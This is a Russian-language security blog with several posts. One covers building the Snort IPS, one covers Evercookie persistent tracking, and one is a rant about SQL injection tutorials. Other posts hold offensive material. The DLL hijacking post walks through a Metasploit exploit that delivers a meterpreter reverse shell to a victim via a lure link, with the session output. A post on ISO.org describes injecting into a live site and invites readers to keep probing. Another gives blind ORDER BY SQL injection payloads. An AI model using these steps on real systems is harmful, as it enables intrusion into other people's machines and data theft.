вторник, 19 октября 2010 г.

Сборка Snort 2.9.0

Сегодня я расскажу про сборку SNORT 2.9.0. Рассказ будет именно о том, как его собирать, то есть довести до работоспособного состояния из исходников. Про настройку правил тут не будет ни слова.
Последняя версия SNORT 2.9.0 пока не доступна в репозитариях, к тому же она имеет принципиальное отличие от предыдущих. Этим релизом SNORT взял курс на развитие себя, как IPS. Сборки снорта для активной работы с траффиком были доступны и ранее, типа snort_inline, но теперь разработчики снорт анонсировали официальный драйвер, который и наделяет snort способностями IPS.
Моей целью было сделать что-то вроде инсталятора , который будет разворачивать snort на Ubuntu версий с 6 по 10 для x86_64 и amd64, без необходимости выкачивать что-то из репозитариев. То есть, следуя этой инструкции, вы получите набор пакетов, который можно будет накатывать на "голую" систему.

Немного теории
Как работает снорт в режиме IPS ?
Для этого используется способность iptables выводить сетевой пакет на "рассмотрение" в userland из ядра. То есть полученный пакет передаётся на анализ пользовательскому процессу, который уже сигнализирует: пропускать пакет дальше, откинуть его или изменить. В iptables существует понятие очереди, в которую ставится пакет для анализа пользовательской программой, например:
iptables -A PREROUTING -t raw -i eth0 -j QUEUE
PREROUTING - цепочка для обработки всех входящих пакетов.
raw - таблица просматриваемая до передачи пакета системе определения состояний.
eth0 - сетевой интерфейс.
QUEUE - постановка пакета в очередь для анализа пользовательской программой.

QUEUE - устаревшая директива, которая формирует только одну очередь, которая имеет постоянный идентификатор 0. Для формирования нескольких очередей используется директива NFQUEUE, в которой опционально можно указать id очереди ( по-умолчанию 0).
Snort можно применить к конкретной очереди:
iptables -A PREROUTING -t mangle -i eth0 -j NFQUEUE --queue-num 0
--queue-num 0 определяет очередь.

Итак , слегка коснувшись теории, приступим =)

Установка

Для начала необходимо скачать и установить следующие пакеты:
apt-get install pkg-config
apt-get install flex
apt-get install bison
apt-get install checkinstall
apt-get install make
apt-get install build-essential
apt-get postgresql-client
apt-get libpq-dev

checkinstall - уютная тулза для быстрого и безболезненного формирования(и установки) .deb пакета из скомпилированного софта. Моя сборка snort должна была работать с СУБД Postgresql, так что первым в моём списке шла компиляция библиотек , которые понадобятся при компиляции снорта с поддержкой Postgresql. Для этого с официального сайта качаем postgresql-9.0.1. распаковываем и компилируем. Здесь цель не получить рабочую сборку субд, а собрать только библиотеки, которые понадобятся при сборки снорта. Так что некоторые вещи можно безболезненно отключить =)

./configure --without-readline --without-zlib
make
checkinstall

Далее мы скачиваем
pcre-8.10
libnfnetlink-1.0.0
libnetfilter_queue-1.0.0
libpcap-1.1.1
libpcap-1.0.0
iptables-1.4.4
snort-2.9.0
daq-0.2

Всё это компилируется через банальный ./configure; make ; make install, но есть некоторые нюансы, которые необходимо изучить, перед тем , как приступать. С libpcap есть одна тонкость, которую я не до конца понял. Для сборки snort под x86_64 нужно использовать libpcap-1.0.0, другие версии конфигуратор отчаянно не замечает, в то время, как под amd64 такой проблемы не возникает и можно использовать libpcap-1.1.1.
При сборке iptables есть тонкость для архитектуры amd64. При распаковке дистрибутива вы увидите папочку с именем libipq, это библиотека, которая необходима для правильной сборки daq драйвера. После того, как выполнится ./configure нам нужно пойти в libipq , открыть Makefile и заменить строку

AM_CFLAGS = ${regular_CFLAGS} -I${top_builddir}/include -I${top_srcdir}/include
на
AM_CFLAGS = ${regular_CFLAGS} -I${top_builddir}/include -I${top_srcdir}/include -fPIC
и проделать уже обычный ( возвратом на директорию выше)
make
make install

Суть этих махинаций заключается в том, чтоб собрать библиотеку libipq.a для amd64 так, чтоб ею могли пользоваться другие приложения. То же самое можно сказать про скаченную библиотеку libdnet-1.11 , но с тем отличием, что с ней это делается проще:

./configure "CFLAGS=-fPIC -g -O2"
make
checkinstall

Теперь сборка daq драйвера:

./configure
Если всё прошло успешно, то скрипт должен вывести :
Build AFPacket DAQ module.. : yes
Build Dump DAQ module...... : yes
Build IPFW DAQ module...... : yes
Build IPQ DAQ module....... : yes
Build NFQ DAQ module....... : yes
Build PCAP DAQ module...... : yes

make
checkinstall
Если libipq и libdnet были собраны по инструкции, то компиляция должна пройти без ошибок.

Теперь , наконец, можно начать компилировать наш снорт. Я Собирал его с ключами

./configure –with-postgresql –enable-build-dynamic-examples --enable-gre –enable-reload
--enable-linux-smp-stats –enable-zlib –enable-active-response
make
checkinstall

Так как переменная в которой хранится путь к библиотекам может быть разной в разных дистрибутивах, то необходимо создать симлинки для используемых библиотек в тех местах, где их могут искать.

ln -s /usr/local/pgsql/lib/libpq.so.5 /usr/lib/libpq.so.5
ln -s /usr/local/lib/libsfbpf.so.0 /usr/lib/libsfbpf.so.0
ln -s /usr/local/lib/libnfnetlink.so.0 /usr/lib/libnfnetlink.so.0
ln -s /usr/local/lib/libnetfilter_queue.so.1 /usr/lib/libnetfilter_queue.so.1
ln -s /usr/local/lib/libdnet.1 /usr/lib/libdnet.1
ln -s /usr/local/lib/libpcre.so.0 /usr/lib/libpcre.so.0
ln -s /usr/local/lib/libxtables.so.2 /usr/lib/libxtables.so.2
ln -s /usr/local/lib/libiptc.so.0 /usr/lib/libiptc.so.0

Если все пункты были выполнены без ошибок, то на этом этапе снорт должен запуститься без осложнений. Если вы хотите, чтоб он работал в активном режиме ( а вы ведь хотите!), то нужно проделать следующее:
Запустить снорт для работы в активном режиме, с обработкой очереди 1:

/snort –Q --daq nfq –daq-var queue=1 -l /var/log/snort –c /etc/snort/snort.conf –v

Здесь опять же есть нюанс. Активный режим может быть двух типов : nfq и ipq . Для работы в режиме ipq необходимо загрузить модуль ip_queue, а для работы в режиме nfq этот модуль должен быть выгружен. Если это условие не выполнено, то снорт умрёт, сообщив об ошибке.

Установить правила на iptables , которые направят трффик через снорт.

iptables -A PREROUTING -t raw -i [interface] -j NFQUEUE --queue-num 0

ВНИМАНИЕ.
Делая это, необходимо чётко понимать, что происходит, особенно при удалённой работе. Вы рискуете отрезать свою машину от сети! Это может произойти в случае, если снорт будет некорректно настроен для работы с очередью. Если ни одно пользовательское приложение не работает с очередью, то пакеты из очереди просто дропаются и связь с машиной становится невозможной.
То есть, правила нужна устанавливать ПОСЛЕ запуска снорта.

Если всё было сделано без ошибок, то можно начинать титаническую работу по настройке правил и решать, как анализировать получаемые данные. Рекомендую так же написать вспомогательный скрипт, который будет перезапускать снорт в случае падения, так как в этом случае машина оказывается запертой. Я рекомендую это, потому что при настройке он у меня пару раз падал.

В заключении ссылки на получившийся инсталлятор. Можете воспользоваться им, если считаете, что у меня нашлась причина из-за которой я решил не снабжать его руткитом =)

http://rapidshare.com/files/426134430/packages_32.rar

понедельник, 27 сентября 2010 г.

Evercookie

Сегодня прочитал в блоге небезызвестного Шнайера про специальный API, писанный на Javascript, основной задаче которого является "одаривание" посетителя вечными куками, то есть куками, удаление которых невозможно выполнить стандартными средствами. Такой эффект обеспечивается за счёт того, что для кук, кроме стандартного хранилища используются и другие. Кроме того, Evercookies может обнаруживать попытку удаление cookie в одном из хранилищ, в этом случае восстанавливать cookie, используя другие хранилища .

При создании метки на целевом компьютере используются следующие технологии:

- Standard HTTP Cookies
- Local Shared Objects (Flash Cookies)
- Storing cookies in RGB values of auto-generated, force-cached
PNGs using HTML5 Canvas tag to read pixels (cookies) back out
- Storing cookies in and reading out Web History
- Storing cookies in HTTP ETags
- Internet Explorer userData storage
- HTML5 Session Storage
- HTML5 Local Storage
- HTML5 Global Storage
- HTML5 Database Storage via SQLite

В заключении ссылочка.

среда, 22 сентября 2010 г.

DLL Hijacking

Сегодня мы поговорим об относительно свежей техники нападения "DLL Hijacking" -- подмене dll.Будут освещены как техника поиска данной уязвимости, так и техника её эксплуатации. Весь представленный материал является с вольным переводом этой статьи. Если интересуют некоторые тонкости ручного вмешательства, рекомендую ознакомится с оригиналом, т.к. некоторые случаи я не понял и переводить не стал.

Эта уязвимость может быть проэксплуатирована, когда уязвимое приложение открывает файл из директории контролируемой злоумышленником. Такой директорией может быть USB диск, распакованный архив, или сетевая шара. Всё что требуется от пользователя - зайти в контролируемую директорию и открыть файл уязвимым приложением. Файл открываемый пользователем может быть абсолютно безвреден, но процесс открывающий файл, если он уязвим, загружает DLL из рабочей директории ( директории с файлом).

При нападении эту уязвимость можно использовать, например, послав пользователю ссылку на сетевую шару, которая содержит безвредный файл и опасную dll. iTunes, будучи некоторое время уязвимым, проассоциирован в windows с определённым списком
типов файлов, и при каждом запуске файлов одного из этих типов iTunes загружал DLL из директории с этими файлами. В случае одаривания пользователя ссылкой на шару типа \\server\movies\ , и открытия пользователем медиафайлов по этой ссылке, iTunes будет искать по этой ссылке одну или более DLL и в случае их наличия загрузит их в свою память. Содержимое этих dll ограничивается только воображением и навыками нападающего.

Ранее в этом году Taeho Kwon and Zhendong Su опубликовали документ под названием "Автоматическое определение загрузки динамических компонентов" В этом документе описаны разные техники угона DLL, кроме этого представлен список уязвимых приложений. Для обнаружения этой уязвимости был разработан небольшой инструментарий DLLHijackAuditKit v2.Для поиска уязвимости с его помощью нужно сделать следующее:

1. Скачать архив и распаковать его.

2. Зайти в распакованную директорию и запустить 01_StartAudit.bat из под учётной записи с правами администратора.

3. После завершения работы скрипта (15-30 минут), переключитесь на Process Monitor , запустите File->Save.
Сохраните лог в формате CSV, в файл с именем "Logfile.CSV".

4. Запустите 02_Analyze.bat из под учётной записи с правами администратора. Этот скрипт проанализирует лог-файл,
построит тесткейсы для каждой потенциальной уязвимости, запустит их и автоматически создаст PoC в директории Exploits,
если уязвимости действительно есть.

5*. Связаться с поставщиком уязвимого ПО и сообщить ему об уязвимости, приложить POC к письму

* - не обязательно.


Теперь, когда у нас есть список подтверждённых уязвимостей мы можем приступить к созданию полноценного эксплойта. Самый простой и быстрый способ - использовать Metasploit Framework ( не старше revision 10065).

Запустите Metasploit Console и проделайьте следующее:

$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit


ext* - расширения ассоциированные с уязвимым приложением.В данном случае мы снабжаем наш эксплойт шеллкодом для реверссоннекта.Если всё прошло ок, то мы увидим сообщение:


[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.


Это значит, что на нашей машине сейчас открылась SMB шара, на которой выложен файл для уязвимого приложения и DLL с нашим шеллкодом.Теперь посылаем ссылку на эту шару пользователю... И как только пользователь откроет файл в уязвимом приложении и сработает эксплойт, мы увидим


[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...

Подключаемся к открытой сессии

msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...


И вот мы получаем доступ к удалённой системе с правами пользователя открывшего файл:

meterpreter > getuid
Server username: WINXP\User


Дополнительно к стандартному процессу загрузки DLL cледует упомянуть о некоторых интересных случаях, требующих ручного вмешательства:

1. Если приложение пытается загрузить DLL, которая обнаруживается с помощью глобальной переменной PATH, а не в системных директориях Windows, и PATH содержит не заданные переменные окружения, например %unknownvariable%\bin когда %unknownvariable% не задан, то в этом случае путь будет интерпретироваться системой, как указывающий на поддиректорию \bin, находящуюся в нашей атакующей шаре.

2. Если приложение пытается загрузить DLL, имя которой содержит NULL (0x00), то оно найдёт файл с именем ".DLL".


3. Некоторые приложения не просто загружают DLL, но и запускают исполняемый файлы по этой же схеме. DLLHijackAuditKit в этом случае создаёт кейс , выполняющий calc.exe

4. Если приложение запускает файл конфигурации (INI) из рабочей директории, это так же может быть эксплуатируемо.

5. Некоторые приложения требуют того, чтоб DLL была подписана. Для такого случая вам придётся раскошелится на 200 $ для подписывания DLL.

И последнее замечание , mfspayload в составе Metasploit Framework теперь может генерировать шеллкоды в формате DLL. Небольшой пример ниже:

msfpayload windows/exec CMD=calc.exe D > test.dll

понедельник, 15 февраля 2010 г.

ISO.ORG

Наткнулся на красноречивый случай SQLinj на сайте ISO.org .
После беглого просмотра сайта, тезис ,о том что безопасность вебприложений слабо зависит от размеров организации и её бюджета, подтвердился очередной раз =(



Здесь ,например, можно созерцать почтовые ящики участников комитетов. Хотя после более глубокого исследования, становится понятно, что всё не совсем плохо с точки зрения администрирования СУБД. Так же не найдено признаков админки, доступной из интернета, то есть сайт по-видимому пушится откуда-то из недров intraneta.

На исправление данной уязвимости ISO понадобилось около 3 недель с момента первого моего репорта, который я отправлял еженедельно. Кроме того, не смотря на заплатку, искушённому читателю не составит труда продолжить моё исследование через другие дырки.

Танцы вокруг Order by

Добрый день. Сегодня я расскажу про некоторые особенности эксплуатации инъекции в среде MySQL, когда уязвимым является параметр идущий за директивой order by, то есть как-то так:

... order by [inj] ... ;


Эта тема довольно интересна , так как многие "веб-мостера" почему-то настойчиво отказываются хоть как-то фильтровать входящие данные, хардкодя в сайтах название колонок из своих баз. То есть, если пользователь получает какой-то список или таблицу, то сортировку ему предлагается делать по следующей ссылке:

...ager/run/?sD[sortby]=blablabla&sD[direction]=asc

Что с этим можно сделать?

1. Юные подаваны могут впасть в уныние, узнав, что union в таких случаях можно сделать только , когда конструкция имеет вид:

(SELECT ... ORDER BY blablabal) UNION (SELECT ....)

Если кто-то не понял, то соль в скобке, которая находится в неуязвимой части запроса.
Хотя для справедливости стоит отметить, что особо "прогрессивные" разработчики скобки зачем-то используют...

2. Если в открытую данные получить не удалось, но остаётся только вслепую. То есть нам нужно найти такие данные, передавая которые мы сможем получить однозначную логическую связь между данными в базе и ответом сервера. Первый способ, который приходит в голову это

... ORDER BY IF(1=1,'blablabla',(SELECT 2 UNION SELECT 1))

Как можно видеть, что в случае когда выражение, которое мы поставим вместо 1=1, вернёт ложь, нарушится выполнение всего запроса (Subquery returns more than 1 row) и данные мы получить не сможем. Этого уже достаточно, чтоб пройтись бинарным поиском по атакуемой базе. Кстати, стоит заметить, что представленный здесь blablabla, с точки зрения СУБД не имеет никакого отношения к колонке blablabla и воспринимается как случайная строка.

3. Этого пункта здесь бы вообще не было, если бы некоторые разработчики не были бы фанатами логов и отчётности ( встречается это обычно в бизнес-приложениях) . Если коротко, то есть ресурсы в которых есть рассматриваемая уязвимость, но все запросы, которые вызывают ошибку при обработке SQL запросов с CУБД записываются и отправляются по почте администратору. На моём опыте весб процесс информирования, анализа и забанивания занимал около 20 минут, которых недостаточно для какого-либо обстоятельного знакомства с базой...

Итак, нам нужен запрос, передавая который мы сможем получить однозначную логическую связь между данными в базе и ответом сервера, не вызывая ошибок. Для этого воспользуемся способом, описание которого я видел в этой статье . Суть его в том, чтоб инвертировать сортировку по параметру. Сделать это можно вот так:

...ORDER BY blablabla*(-1)...

Сочетая это с предыдущим способом, получаем:

...ORDER BY blablabla*(if(1=1,1,(-1)))

То есть логическим выводом для нас будет направление сортировки данных.В результаты мы, как и требовалось, получаем однозначные данные, не вызывая никаких ошибок или исключений со стороны СУБД.


среда, 25 ноября 2009 г.

SQLinj XYNTA

Это мой первый пост и он будет полон ненависти, как , сразу предупреждаю, и многие последующие.

Начну я с того, что

"sql инъекции являются типичной уязвимость web-приложений, основная их идея заключается в бла-бла-бла, ниже мы приводим нисколько примеров, которые описывают типичные способы проведения инъекций.. "

такую высокопарную пердь вы читали миллионы раз в сотнях мануалов "для начинающих "! То что эти примеры скопипижжены друг с друга, я принимаю как данность и напишу об этом позже. Больше всего выбешивает их близость к реальным условиям, а точнее её полное отсутствие. Можно привести десятки примеров для эксплуатации запроса типа

SELECT бла FROM бла_table WHERE id=*;

В примерах будет описан красочно обход разносортных WAF , mod_security и многий прочий всякий кал.
НО!..
Хоть бы один Ыксперт, мать его, заикнулся о том, что запросы бывают не только такие, но ещё и такие:

SELECT b.*, UNIX_TIMESTAMP(b.book_date) AS book_date, SUM(t.tran_cost) AS book_contribution, g.book_genre_title AS book_genre, g.book_genre_id, m.name FROM bookreview b LEFT JOIN theopenp_forums.prb_members m ON m.id = b.book_user LEFT JOIN transactions t ON t.tran_package_item = b.book_id LEFT JOIN packages pa ON t.tran_package = pa.pack_id LEFT JOIN book_genre g ON b.book_genre = g.book_genre_id WHERE book_id =* AND pa.pack_type in ('BK', 'BKS') AND b.book_approved = 1 AND b.book_denied = 0 GROUP BY b.book_id

И что для того, чтоб победоносно выхватить солёный хеш и носиться с ним, аки уездный мудак (так как пользы от такого хеша ...), нужно просидеть не 5 минут и даже не полчаса, насилуя своё абстрактное мышление и пытаясь понять, какого же монстра мы собираем таким запросом и чего им можно вытащить.

Конечно, в случае слепой инъекции, можно запустить перебор и пойти попить чайку, но имейте ввиду, что при херовой связи и большой базе, хешик может стать лучшим подарком к вашему 60летию.

Так вот, возвращаясь к нашим бумагомарателям, ГДЕ СЛОЖНЫЕ ПРИМЕРЫ!? ГДЕ СЛОЖНЫЕ ПРИМЕРЫ, БЛЕАТЬ!? Почему я всё время созерцаю в примерах несуразную хуйню, в то время, как в серьёзных приложениях из реального мира используются такие SQL оглобли, что даже с моим расширением монитора мне приходится нарезать их в 3 строчки!